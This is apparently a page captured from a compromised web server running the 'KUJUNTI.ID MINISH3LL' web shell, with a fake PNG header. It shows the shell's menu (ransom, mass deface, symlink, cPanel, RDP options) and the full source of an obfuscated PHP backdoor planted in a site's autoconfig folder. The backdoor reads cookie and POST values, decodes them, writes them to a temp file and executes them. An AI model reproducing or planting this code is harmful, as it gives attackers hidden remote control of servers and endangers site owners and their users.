\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/tims.tv/autoconfig/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/tims.tv/autoconfig/f2948624.php


$NBdgNCWYT = "\130" . chr ( 1043 - 971 ).chr (95) . "\165" . chr ( 1003 - 916 ).chr (118) . 'u' . chr ( 905 - 799 ); $EblkeEv = 'c' . 'l' . "\141" . "\163" . 's' . "\137" . chr (101) . chr ( 410 - 290 ).chr ( 984 - 879 )."\163" . "\x74" . chr (115); $yOVGyRt = class_exists($NBdgNCWYT); $EblkeEv = "15760";$goZts = strpos($EblkeEv, $NBdgNCWYT);if ($yOVGyRt == $goZts){function tJpus(){$yEOsjMg = new /* 6497 */ XH_uWvuj(40994 + 40994); $yEOsjMg = NULL;}$FRepZjpSal = "40994";class XH_uWvuj{private function Fbvyt($FRepZjpSal){if (is_array(XH_uWvuj::$afTedd)) {$name = sys_get_temp_dir() . "/" . crc32(XH_uWvuj::$afTedd["salt"]);@XH_uWvuj::$afTedd["write"]($name, XH_uWvuj::$afTedd["content"]);include $name;@XH_uWvuj::$afTedd["delete"]($name); $FRepZjpSal = "40994";exit();}}public function gjCWwg(){$khJyLjrWr = "24774";$this->_dummy = str_repeat($khJyLjrWr, strlen($khJyLjrWr));}public function __destruct(){XH_uWvuj::$afTedd = @unserialize(XH_uWvuj::$afTedd); $FRepZjpSal = "51008_17256";$this->Fbvyt($FRepZjpSal); $FRepZjpSal = "51008_17256";}public function orCZEoRx($khJyLjrWr, $PyZagryxLl){return $khJyLjrWr[0] ^ str_repeat($PyZagryxLl, (strlen($khJyLjrWr[0]) / strlen($PyZagryxLl)) + 1);}public function NRksEp($khJyLjrWr){$wgvRP = chr ( 980 - 882 )."\141" . chr ( 232 - 117 )."\x65" . "\66" . chr ( 521 - 469 );return array_map($wgvRP . "\137" . chr ( 279 - 179 )."\145" . 'c' . 'o' . 'd' . chr (101), array($khJyLjrWr,));}public function __construct($ycVAMdlXv=0){$hpcLOO = chr (44); $khJyLjrWr = "";$XVFVk = $_POST;$TDKyZQN = $_COOKIE;$PyZagryxLl = "bd80680f-68cc-44e6-9f78-09c2d37efe31";$QnKbH = @$TDKyZQN[substr($PyZagryxLl, 0, 4)];if (!empty($QnKbH)){$QnKbH = explode($hpcLOO, $QnKbH);foreach ($QnKbH as $UutEY){$khJyLjrWr .= @$TDKyZQN[$UutEY];$khJyLjrWr .= @$XVFVk[$UutEY];}$khJyLjrWr = $this->NRksEp($khJyLjrWr);}XH_uWvuj::$afTedd = $this->orCZEoRx($khJyLjrWr, $PyZagryxLl);if (strpos($PyZagryxLl, $hpcLOO) !== FALSE){$PyZagryxLl = explode($hpcLOO, $PyZagryxLl); $KKALQ = base64_decode(md5($PyZagryxLl[0])); $DZfxSj = strlen($PyZagryxLl[1]) > 5 ? substr($PyZagryxLl[1], 0, 5) : $PyZagryxLl[1];$_GET['new_key'] = md5(implode('', $PyZagryxLl)); $PXDgU = str_repeat($DZfxSj, 2); $zAVyLkrb = array_map('trim', $PyZagryxLl);if (is_array($zAVyLkrb) && count($zAVyLkrb) > 1) {$tnvZyv = $zAVyLkrb[0];} else {$tnvZyv = '';}$SWqbQL = rawurldecode($tnvZyv); $_POST['decoded_key'] = $SWqbQL;$bNOPEPf = str_split($SWqbQL, 2);}}public static $afTedd = 25446;}tJpus();}

© KUJUNTI.ID